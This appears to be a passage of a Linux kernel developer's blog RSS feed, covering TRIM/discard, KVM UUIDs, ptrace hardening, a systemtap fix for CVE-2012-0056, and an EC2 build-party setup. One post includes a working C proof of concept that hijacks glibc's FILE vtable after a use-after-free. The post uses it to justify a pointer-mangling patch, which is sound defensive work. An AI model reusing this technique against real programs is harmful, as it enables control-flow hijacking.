		<description><![CDATA[Under Linux, there are a number of related features around marking areas of a file, filesystem, or block device as &#8220;no longer allocated&#8221;. In the standard view, here&#8217;s what happens if you fill a file to 500M and then truncate it to 100M, using the &#8220;truncate&#8221; syscall: create the empty file, filesystem allocates an inode, [...]]]></description>
			<content:encoded><![CDATA[<p>Under Linux, there are a number of related features around marking areas of a file, filesystem, or block device as &#8220;no longer allocated&#8221;. In the standard view, here&#8217;s what happens if you fill a file to 500M and then truncate it to 100M, using the &#8220;truncate&#8221; syscall:</p>
<ol>
<li>create the empty file, filesystem allocates an inode, writes accounting details to block device.</li>
<li>write data to file, filesystem allocates and fills data blocks, writes blocks to block device.</li>
<li>truncate the file to a smaller size, filesystem updates accounting details and releases blocks, writes accounting details to block device.</li>
</ol>
<p>The important thing to note here is that in step 3 the block device has no idea about the released data blocks. The original contents of the file are actually still on the device. (And to a certain extent is why programs like <a href="http://manpages.ubuntu.com/shred">shred</a> exist.) While the recoverability of such released data is a whole other issue, the main problem about this lack of information for the block device is that some devices (like SSDs) could use this information to their benefit to help with extending their life, etc. To support this, the &#8220;<a href="http://en.wikipedia.org/wiki/TRIM">TRIM</a>&#8221; set of commands were created so that a block device could be informed when blocks were released. Under Linux, this is handled by the block device driver, and what the filesystem can pass down is &#8220;discard&#8221; intent, which is translated into the needed TRIM commands.</p>
<p>So now, when discard notification is enabled for a filesystem (e.g. mount option &#8220;<code>discard</code>&#8221; for <code>ext4</code>), the earlier example looks like this:</p>
<ol>
<li>create the empty file, filesystem allocates an inode, writes accounting details to block device.</li>
<li>write data to file, filesystem allocates and fills data blocks, writes blocks to block device.</li>
<li>truncate the file to a smaller size, filesystem updates accounting details and releases blocks, writes accounting details <strong>and sends discard intent</strong> to block device.</li>
</ol>
<p>While SSDs can use discard to do fancy SSD things, there&#8217;s another great use for discard, which is to restore sparseness to files. Normally, if you create a sparse file (open, seek to size, close), there was no way, after writing data to this file, to &#8220;punch a hole&#8221; back into it. The best that could be done was to just write zeros over the area, but that took up filesystem space. So, the ability to punch holes in files was added via the <code>FALLOC_FL_PUNCH_HOLE</code> option of <a href="http://manpages.ubuntu.com/fallocate">fallocate</a>. And when discard was enabled for a filesystem, these punched holes would get passed down to the block device as well.</p>
<p>Take, for example, a qemu/KVM VM running on a disk image that was built from a sparse file. While inside the VM instance, the disk appears to be 10G. Externally, it might only have actually allocated 600M, since those are the only blocks that had been allocated so far. In the instance, if you wrote 8G worth of temporary data, and then deleted it, the underlying sparse file would have ballooned by 8G and stayed ballooned. With discard and hole punching, it&#8217;s now possible for the filesystem in the VM to issue discards to the block driver, and then qemu could issue hole-punching requests to the sparse file backing the image, and all of that 8G would get freed again. The only down side is that each layer needs to correctly translate the requests into what the next layer needs.</p>
<p>With Linux 3.1, dm-crypt supports passing discards from the filesystem above down to the block device under it (though this has cryptographic risks, so it is disabled by default). With Linux 3.2, the loopback block driver <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux.git;a=commitdiff;h=dfaa2ef68e80c378e610e3c8c536f1c239e8d3ef">supports receiving discards</a> and passing them down as hole-punches. That means that a stack like this works now: ext4, on dm-crypt, on loopback of a sparse file, on ext4, on SSD. If a file is deleted at the top, it&#8217;ll pass all the way down, discarding allocated blocks all the way to the SSD:</p>
<p>Set up a sparse backing file, loopback mount it, and create a <a href="http://code.google.com/p/cryptsetup/wiki/DMCrypt">dm-crypt device</a> (with &#8220;allow_discards&#8221;) on it:</p>
<pre class="brush:shell">
# cd /root
# truncate -s10G test.block
# ls -lk test.block
-rw-r--r-- 1 root root 10485760 Feb 15 12:36 test.block
# du -sk test.block
0       test.block
# DEV=$(losetup -f --show /root/test.block)
# echo $DEV
/dev/loop0
# SIZE=$(blockdev --getsz $DEV)
# echo $SIZE
20971520
# KEY=$(echo -n "my secret passphrase" | sha256sum | awk '{print $1}')
# echo $KEY
a7e845b0854294da9aa743b807cb67b19647c1195ea8120369f3d12c70468f29
# dmsetup create testenc --table "0 $SIZE crypt aes-cbc-essiv:sha256 $KEY 0 $DEV 0 1 allow_discards"
</pre>
<p>Now build an ext4 filesystem on it. This enables discard during mkfs, and disables lazy initialization so we can see the final size of the used space on the backing file without waiting for the background initialization at mount-time to finish, and mount it with the &#8220;discard&#8221; option: </p>
<pre class="brush:shell">
# mkfs.ext4 -E discard,lazy_itable_init=0,lazy_journal_init=0 /dev/mapper/testenc
mke2fs 1.42-WIP (16-Oct-2011)
Discarding device blocks: done
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
655360 inodes, 2621440 blocks
131072 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=2684354560
80 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done 

# mount -o discard /dev/mapper/testenc /mnt
# sync; du -sk test.block
297708  test.block
</pre>
<p>Now, we create a 200M file, examine the backing file allocation, remove it, and compare the results:</p>
<pre class="brush:shell">
# dd if=/dev/zero of=/mnt/blob bs=1M count=200
200+0 records in
200+0 records out
209715200 bytes (210 MB) copied, 9.92789 s, 21.1 MB/s
# sync; du -sk test.block
502524  test.block
# rm /mnt/blob
# sync; du -sk test.block
297720  test.block
</pre>
<p>Nearly all the space was reclaimed after the file was deleted. Yay!</p>
<p>Note that the Linux <code>tmpfs</code> filesystem does not yet support hole punching, so the exampe above wouldn&#8217;t work if you tried it in a <code>tmpfs</code>-backed filesystem (e.g. <code>/tmp</code> on many systems).</p>
<p style='text-align:left'>&copy; 2012, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2012/02/15/discard-hole-punching-and-trim/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>kvm and product_uuid</title>
		<link>http://www.outflux.net/blog/archives/2012/02/10/kvm-and-product_uuid/</link>
		<comments>http://www.outflux.net/blog/archives/2012/02/10/kvm-and-product_uuid/#comments</comments>
		<pubDate>Fri, 10 Feb 2012 18:08:17 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Chrome OS]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=584</guid>
		<description><![CDATA[While looking for something to use as a system-unique fall-back when a TPM is not available, I looked at /sys/devices/virtual/dmi/id/product_uuid (same as dmidecode&#8216;s &#8220;System Information / UUID&#8221;), but was disappointed when, under KVM, the file was missing (and running dmidecode crashes KVM *cough*). However, after a quick check, I noticed that KVM supports the &#8220;-uuid&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>While looking for something to use as a system-unique fall-back when a TPM is not available, I looked at <code>/sys/devices/virtual/dmi/id/product_uuid</code> (same as <code>dmidecode</code>&#8216;s &#8220;System Information / UUID&#8221;), but was disappointed when, under KVM, the file was missing (and running <code>dmidecode</code> crashes KVM *cough*). However, after a quick check, I noticed that KVM supports the &#8220;<code>-uuid</code>&#8221; option to set the value of <code>/sys/devices/virtual/dmi/id/product_uuid</code>. Looks like libvirt <a href="http://libvirt.org/guide/html/Application_Development_Guide-Connections-Capability_Info.html">supports this</a> under <code>capabilities / host / uuid</code> in the XML, too.</p>
<pre class="brush:shell">
host# kvm -uuid 12345678-ABCD-1234-ABCD-1234567890AB ...
host# ssh localhost ...
...
guest# cat /sys/devices/virtual/dmi/id/product_uuid
12345678-ABCD-1234-ABCD-1234567890AB
</pre>
<p style='text-align:left'>&copy; 2012, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2012/02/10/kvm-and-product_uuid/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>use of ptrace</title>
		<link>http://www.outflux.net/blog/archives/2012/02/06/use-of-ptrace/</link>
		<comments>http://www.outflux.net/blog/archives/2012/02/06/use-of-ptrace/#comments</comments>
		<pubDate>Tue, 07 Feb 2012 00:48:30 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Chrome OS]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=577</guid>
		<description><![CDATA[As I discussed last year, Ubuntu has been restricting the use of ptrace for a few releases now. I&#8217;m excited to see Fedora starting to introduce similar restrictions, but I&#8217;m disappointed at the specific implementation: A method for doing this already exists (Yama). Yama is not plumbed into SELinux, but I would argue that&#8217;s not [...]]]></description>
			<content:encoded><![CDATA[<p>As I <a href="https://www.outflux.net/blog/archives/2011/02/18/ptracing-siblings/">discussed last year</a>, Ubuntu has been restricting the use of ptrace for a few releases now. I&#8217;m excited to see Fedora starting to <a href="http://fedoraproject.org/wiki/Features/SELinuxDenyPtrace">introduce similar restrictions</a>, but I&#8217;m disappointed at the specific implementation:</p>
<ul>
<li>A method for doing this already exists (<a href="https://lkml.org/lkml/2012/1/18/454">Yama</a>). Yama is not plumbed into SELinux, but I would argue that&#8217;s not needed.</li>
<li>The SELinux method depends, unsurprisingly, on an active SELinux policy on the system, which isn&#8217;t everyone.</li>
<li>It&#8217;s not possible for regular developers (not system developers) to debug their own processes.</li>
<li>It will break all ptrace-based crash handlers (e.g. KDE, Firefox, Chrome) or tools that depend on ptrace to do their regular job (e.g. Wine, gdb, strace, ltrace).</li>
</ul>
<p>Blocking ptrace blocks exactly one type of attack: credential extraction from a running process. In the face of a persistent attack, ultimately, anything running as the user can be trojaned, regardless of ptrace. Blocking ptrace, however, stalls the initial attack. At the moment an attacker arrives on a system, they cannot immediately extend their reach by examining the other processes (e.g. jumping down existing SSH connections, pulling passwords out of Firefox, etc). Some sensitive processes are already protected from this kind of thing because they are not &#8220;dumpable&#8221; (due to either specifically requesting this from <code>prctl(PR_SET_DUMPABLE, ...)</code> or due to a uid/gid transition), but many are open for abuse.</p>
<p>The primary &#8220;valid&#8221; use cases for ptrace are crash handlers, debuggers, and memory analysis tools. In each case, they have a single common element: the process being ptraced knows which process should have permission to attach to it. What Linux lacked was a way to declare these relationships, which is what Yama added. The use of SELinux policy, for example, isn&#8217;t sufficient because the permissions are too wide (e.g. giving <code>gdb</code> the ability to ptrace anything just means the attacker has to use <code>gdb</code> to do the job). Right now, due to the use of Yama in Ubuntu, all the mentioned tools have the awareness of how to programmatically declare the ptrace relationships at runtime with <code>prctl(PR_SET_PTRACER, ...)</code>. I find it disappointing that Fedora won&#8217;t be using this to their advantage when it is available and well tested.</p>
<p>Even <a href="https://gerrit.chromium.org/gerrit/12406">ChromeOS uses Yama</a> now. ;)</p>
<p style='text-align:left'>&copy; 2012, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2012/02/06/use-of-ptrace/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>fixing vulnerabilities with systemtap</title>
		<link>http://www.outflux.net/blog/archives/2012/01/22/fixing-vulnerabilities-with-systemtap/</link>
		<comments>http://www.outflux.net/blog/archives/2012/01/22/fixing-vulnerabilities-with-systemtap/#comments</comments>
		<pubDate>Sun, 22 Jan 2012 23:22:47 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=562</guid>
		<description><![CDATA[Recently the upstream Linux kernel released a fix for a serious security vulnerability (CVE-2012-0056) without coordinating with Linux distributions, leaving a window of vulnerability open for end users. Luckily: it is only a serious issue in 2.6.39 and later (e.g. Ubuntu 11.10 Oneiric) it is &#8220;only&#8221; local it requires execute access to a setuid program [...]]]></description>
			<content:encoded><![CDATA[<p>Recently the upstream Linux kernel released a <a href="http://git.kernel.org/linus/e268337dfe26dfc7efd422a804dbb27977a3cccc">fix for a serious security vulnerability</a> (CVE-2012-0056) without <a href="http://oss-security.openwall.org/wiki/mailing-lists/distros">coordinating with Linux distributions</a>, leaving a window of vulnerability open for end users. Luckily:</p>
<ul>
<li>it is only a serious issue in 2.6.39 and later (e.g. Ubuntu 11.10 Oneiric)</li>
<li>it is &#8220;only&#8221; local</li>
<li>it requires execute access to a setuid program that generates output</li>
</ul>
<p>Still, it&#8217;s a cross-architecture local root escalation on most common installations. Don&#8217;t stop reading just because you don&#8217;t have a local user base &#8212; attackers can use this to elevate privileges from your user, or from the web server&#8217;s user, etc.</p>
<p>Since there is now a <a href="http://blog.zx2c4.com/749">nearly-complete walk-through</a>, the urgency for fixing this is higher. While you&#8217;re waiting for your distribution&#8217;s kernel update, you can use <a href="http://sourceware.org/systemtap/">systemtap</a> to change your kernel&#8217;s running behavior. <a href="https://access.redhat.com/kb/docs/DOC-69129">RedHat suggested this</a>, and here&#8217;s how to do it in Debian and Ubuntu:</p>
<ul>
<li>Download the &#8220;am I vulnerable?&#8221; tool, either from RedHat (above), or a <a href="http://grsecurity.net/~spender/correct_proc_mem_reproducer.c">more correct version</a> from Brad Spengler.</li>
<li>Check if you&#8217;re vulnerable:
<pre class="brush:shell">
$ make correct_proc_mem_reproducer
...
$ ./correct_proc_mem_reproducer
vulnerable
</pre>
</li>
<li>Install the kernel debugging symbols (this is big &#8212; over 2G installed on Ubuntu) and systemtap:
<ul>
<li>Debian:
<pre class="brush:shell">
# apt-get install -y systemtap linux-image-$(uname -r)-dbg
</pre>
</li>
<li>Ubuntu:
<ul>
<li>Add the <a href="https://lists.ubuntu.com/archives/ubuntu-users/2010-October/229714.html">debug package repository</a> and key for your Ubuntu release:
<pre class="brush:shell">
$ sudo apt-get install -y lsb-release
$ echo "deb http://ddebs.ubuntu.com/ $(lsb_release -cs) main restricted universe multiverse" | \
      sudo tee -a /etc/apt/sources.list.d/ddebs.list
$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ECDCAD72428D7C01
$ sudo apt-get update
</pre>
</li>
<li>(This step does not work since the repository metadata isn&#8217;t updating correctly at the moment &#8212; see the next step for how to do this manually.) Install the debug symbols for the kernel and install systemtap:
<pre class="brush:shell">
sudo apt-get install -y systemtap linux-image-$(uname -r)-dbgsym
</pre>
</li>
<li>(Manual version of the above, skip if the above works for you. Note that this has no integrity checking, etc.)
<pre class="brush:shell">
$ sudo apt-get install -y systemtap dpkg-dev
$ wget http://ddebs.ubuntu.com/pool/main/l/linux/$(dpkg -l linux-image-$(uname -r) | grep ^ii | awk '{print $2 "-dbgsym_" $3}' | tail -n1)_$(dpkg-architecture -qDEB_HOST_ARCH).ddeb
$ sudo dpkg -i linux-image-$(uname -r)-dbgsym.ddeb
</pre>
</li>
</ul>
</li>
</ul>
</li>
<li>Create a systemtap script to block the mem_write function, and install it:
<pre class="brush:shell">
$ cat > proc-pid-mem.stp &lt;&lt;'EOM'
probe kernel.function("mem_write@fs/proc/base.c").call {
        $count = 0
}
EOM
$ sudo stap -Fg proc-pid-mem.stp
</pre>
</li>
<li>Check that you&#8217;re no longer vulnerable (until the next reboot):
<pre class="brush:shell">
$ ./correct_proc_mem_reproducer
not vulnerable
</pre>
</li>
</ul>
<p>In this case, the systemtap script is changing the <a href="http://lxr.linux.no/linux+v3.0/fs/proc/base.c#L887">argument containing the size of the write</a> to zero bytes (<code>$count = 0</code>), which effectively closes this vulnerability.</p>
<p><strong>UPDATE:</strong> here&#8217;s a systemtap script from Soren that doesn&#8217;t require the full debug symbols. <a href="http://outflux.net/software/shorts/stp/proc_pid_mem.stp">Sneaky</a>, put can be rather slow since it hooks all writes in the system. :)</p>
<p style='text-align:left'>&copy; 2012, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2012/01/22/fixing-vulnerabilities-with-systemtap/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>abusing the FILE structure</title>
		<link>http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/</link>
		<comments>http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/#comments</comments>
		<pubDate>Fri, 23 Dec 2011 00:46:21 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=548</guid>
		<description><![CDATA[When attacking a process, one interesting target on the heap is the FILE structure used with &#8220;stream functions&#8221; (fopen(), fread(), fclose(), etc) in glibc. Most of the FILE structure (struct _IO_FILE internally) is pointers to the various memory buffers used for the stream, flags, etc. What&#8217;s interesting is that this isn&#8217;t actually the entire structure. [...]]]></description>
			<content:encoded><![CDATA[<p>When attacking a process, one interesting target on the heap is the <code>FILE</code> structure used with &#8220;stream functions&#8221; (<code>fopen()</code>, <code>fread()</code>, <code>fclose()</code>, etc) in glibc. Most of the <a href="http://sourceware.org/git/?p=glibc.git;a=blob;f=libio/libio.h;h=bebc112a3bffc800cddbbd885663c2b3a33c1324;hb=4f2b767fef50f5f5c356c0c0e424fccc893a4ae6#l273"><code>FILE</code> structure (<code>struct _IO_FILE</code> internally)</a> is pointers to the various memory buffers used for the stream, flags, etc. What&#8217;s interesting is that this isn&#8217;t actually the entire structure. When a new <code>FILE</code> structure is allocated and its pointer returned from <code>fopen()</code>, glibc has actually allocated an internal structure called <code>struct _IO_FILE_plus</code>, which contains <code>struct _IO_FILE</code> and a pointer to <code>struct _IO_jump_t</code>, which in turn contains a list of pointers for all the functions attached to the <code>FILE</code>. This is its vtable, which, just like <a href="http://en.wikipedia.org/wiki/Virtual_method_table">C++ vtables</a>, is used whenever any stream function is called with the <code>FILE</code>. So on the heap, we have:</p>
<p><img src="/exploits/glibc-FILE-vtable.png" alt="glibc FILE vtable location" /></p>
<p>In the face of <a href="https://www.owasp.org/index.php/Using_freed_memory">use-after-free</a>, <a href="http://en.wikipedia.org/wiki/Heap_overflow">heap overflows</a>, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in <a href="http://http://manpages.ubuntu.com/setjmp"><code>setjmp()</code>/<code>longjmp()</code></a>, <a href="http://http://manpages.ubuntu.com/atexit"><code>atexit()</code></a>, etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced <a href="http://udrepper.livejournal.com/13393.html"><code>PTR_MANGLE</code>/<code>PTR_DEMANGLE</code></a> to protect these latter functions, but until now hasn&#8217;t protected the FILE structure in the same way.</p>
<p>I&#8217;m hoping to change this, and have <a href="http://cygwin.com/ml/libc-alpha/2011-12/msg00073.html">introduced a patch</a> to use <code>PTR_MANGLE</code> on the vtable pointer. Hopefully I haven&#8217;t overlooked something, since I&#8217;d really like to see this get in. <code>FILE</code> structure usage is a fair bit more common than <code>setjmp()</code> and <code>atexit()</code> usage. :)</p>
<p>Here&#8217;s a quick exploit demonstration in a trivial use-after-free scenario:</p>
<pre class="brush:c">
#include &lt;stdio.h>
#include &lt;stdlib.h>

void pwn(void)
{
    printf("Dave, my mind is going.\n");
    fflush(stdout);
}

void * funcs[] = {
    NULL, // "extra word"
    NULL, // DUMMY
    exit, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    NULL, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // write
    NULL, // seek
    pwn,  // close
    NULL, // stat
    NULL, // showmanyc
    NULL, // imbue
};

int main(int argc, char * argv[])
{
    FILE *fp;
    unsigned char *str;

    printf("sizeof(FILE): 0x%x\n", sizeof(FILE));

    /* Allocate and free enough for a FILE plus a pointer. */
    str = malloc(sizeof(FILE) + sizeof(void *));
    printf("freeing %p\n", str);
    free(str);

    /* Open a file, observe it ended up at previous location. */
    if (!(fp = fopen("/dev/null", "r"))) {
        perror("fopen");
        return 1;
    }
    printf("FILE got %p\n", fp);
    printf("_IO_jump_t @ %p is 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Overwrite vtable pointer. */
    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
    printf("_IO_jump_t @ %p now 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));

    /* Trigger call to pwn(). */
    fclose(fp);

    return 0;
}
</pre>
<p>Before the patch:</p>
<pre class="brush:shell">
$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0xf7796aa0
_IO_jump_t @ 0x984609c now 0x0804a060
Dave, my mind is going.
</pre>
<p>After the patch:</p>
<pre class="brush:shell">
$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0x3a4125f8
_IO_jump_t @ 0x984609c now 0x0804a060
Segmentation fault
</pre>
<p>Astute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I&#8217;d like to see this fixed too, but it&#8217;ll require more time to study. :)</p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>how to throw an EC2 party</title>
		<link>http://www.outflux.net/blog/archives/2011/12/07/how-to-throw-an-ec2-party/</link>
		<comments>http://www.outflux.net/blog/archives/2011/12/07/how-to-throw-an-ec2-party/#comments</comments>
		<pubDate>Wed, 07 Dec 2011 17:53:46 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=539</guid>
		<description><![CDATA[Prepare a location to run juju and install it: mkdir ~/party cd ~/party sudo apt-get install juju Initialize your juju environment. Be sure to add &#8220;juju-origin: ppa&#8221; to your environment, along with filling in your access-key and secret-key from your Amazon AWS account. Note that control-bucket and admin-secret should not be used by any other [...]]]></description>
			<content:encoded><![CDATA[<p>Prepare a location to run juju and install it:</p>
<pre>
mkdir ~/party
cd ~/party
sudo apt-get install juju
</pre>
<p>Initialize your <a href="https://juju.ubuntu.com/docs/getting-started.html#configuring-your-environment">juju environment</a>. Be sure to add &#8220;<code>juju-origin: ppa</code>&#8221; to your environment, along with filling in your <code>access-key</code> and <code>secret-key</code> from your Amazon AWS account. Note that <code>control-bucket</code> and <code>admin-secret</code> should not be used by any other environment or juju won&#8217;t be able to distinguish them. <a href="https://juju.ubuntu.com/docs/provider-configuration-ec2.html">Other variables</a> are good to set now too. I wanted my instances close to me, use I set &#8220;<code>region: us-west-1</code>&#8220;. I also wanted a 64bit system, so using the <a href="http://uec-images.ubuntu.com/query/oneiric/server/released.txt">AMI list</a>, I chose &#8220;<code>default-series: oneiric</code>&#8220;, &#8220;<code>default-instance-type: m1.large</code>&#8221; and &#8220;<code>default-image-id: ami-7b772b3e</code>&#8221;</p>
<pre>
juju
$EDITOR ~/.juju/environments.yaml
</pre>
<p>Get my <a href="https://code.launchpad.net/~kees/charm/oneiric/sbuild/trunk">sbuild charm</a>, and configure some types of builders. The <code>salt</code> should be something used only for this party; it is used to generate the random passwords for the builder accounts. The <code>distro</code> and <code>releases</code> can be set to whatever the <a href="http://wiki.debian.org/mk-sbuild">mk-sbuild</a> tool understands.</p>
<pre>
bzr co lp:~kees/charm/oneiric/sbuild/trunk sbuild-charm
cat &gt;local.yaml &lt;&lt;EOM
builder-debian:
    salt: some-secret-phrase-for-this-party
    distro: debian
    releases: unstable
builder-ubuntu:
    salt: some-secret-phrase-for-this-party
    distro: ubuntu
    releases: precise,oneiric
EOM
</pre>
<p>Bootstrap juju and wait for ec2 instance to come up.</p>
<pre>
juju bootstrap
</pre>
<p> Before running the status, you can either accept the SSH key blindly, or use &#8220;<a href="http://manpages.ubuntu.com/ec2-describe-instances"><code>ec2-describe-instances</code></a>&#8221; to find the instance and public host name, and use my &#8220;<code>wait-for-ssh</code>&#8221; tool to inject the SSH host key into your <code>~/.ssh/known_hosts</code> file. This requires having set up the environment variables needed by &#8220;<code>ec2-describe-instances</code>&#8220;, though.</p>
<pre>
ec2-describe-instances --region REGION
./sbuild-charm/wait-for-ssh INSTANCE HOST REGION
</pre>
<p>Get status:</p>
<pre>
juju status
</pre>
<p>Deploy a builder:</p>
<pre>
juju deploy --config local.yaml --repository $PWD local:sbuild-charm builder-debian
</pre>
<p>Deploy more of the same type:</p>
<pre>
juju add-unit builder-debian
juju add-unit builder-debian
juju add-unit builder-debian
</pre>
<p>Now you have to wait for them to finish installing, which will take a while. Once they&#8217;re at least partially up (the &#8220;builder&#8221; user has been created), you can print out the slips of paper to hand out to your party attendees:</p>
<pre>
./sbuild-charm/slips | mpage -1 > /tmp/slips.ps
ps2pdf /tmp/slips.ps /tmp/slips.pdf
</pre>
<p>They look like this:</p>
<pre>
Unit: builder-debian/3
Host: ec2-256-1-1-1.us-west-1.compute.amazonaws.com
SSH key fingerprints:
  1024 3e:f7:66:53:a9:e8:96:c7:27:36:71:ce:2a:cf:65:31 (DSA)
  256 53:a9:e8:96:c7:20:6f:8f:4a:de:b2:a3:b7:6b:34:f7 (ECDSA)
  2048 3b:29:99:20:6f:8f:4a:de:b2:a3:b7:6b:34:bc:7a:e3 (RSA)
Username: builder
Password: 68b329da9893
</pre>
<p>To admin the machines, you can use juju itself, where N is the machine number from the &#8220;<code>juju status</code>&#8221; output:</p>
<pre>
juju ssh N
</pre>
<p>To add additional chroots to the entire builder service, add them to the config:</p>
<pre>
juju set builder-debian release=unstable,testing,stable
juju set builder-ubuntu release=precise,oneiric,lucid,natty
</pre>
<p>Notes about some of the terrible security hacks this charm does:</p>
<ul>
<li>enables password-based SSH access (and locks the default &#8220;ubuntu&#8221; account), so party attendees don&#8217;t need anything but the ssh client itself to get to the builders.</li>
<li>starts <code>rngd -r /dev/urandom</code> to create terrible but plentiful entropy for the sbuild GPG key generation.</li>
</ul>
<p>Enjoy!</p>
<p style='text-align:left'>&copy; 2011, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2011/12/07/how-to-throw-an-ec2-party/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>juju bug fixing</title>
		<link>http://www.outflux.net/blog/archives/2011/12/07/juju-bug-fixing/</link>
		<comments>http://www.outflux.net/blog/archives/2011/12/07/juju-bug-fixing/#comments</comments>
		<pubDate>Wed, 07 Dec 2011 17:11:34 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

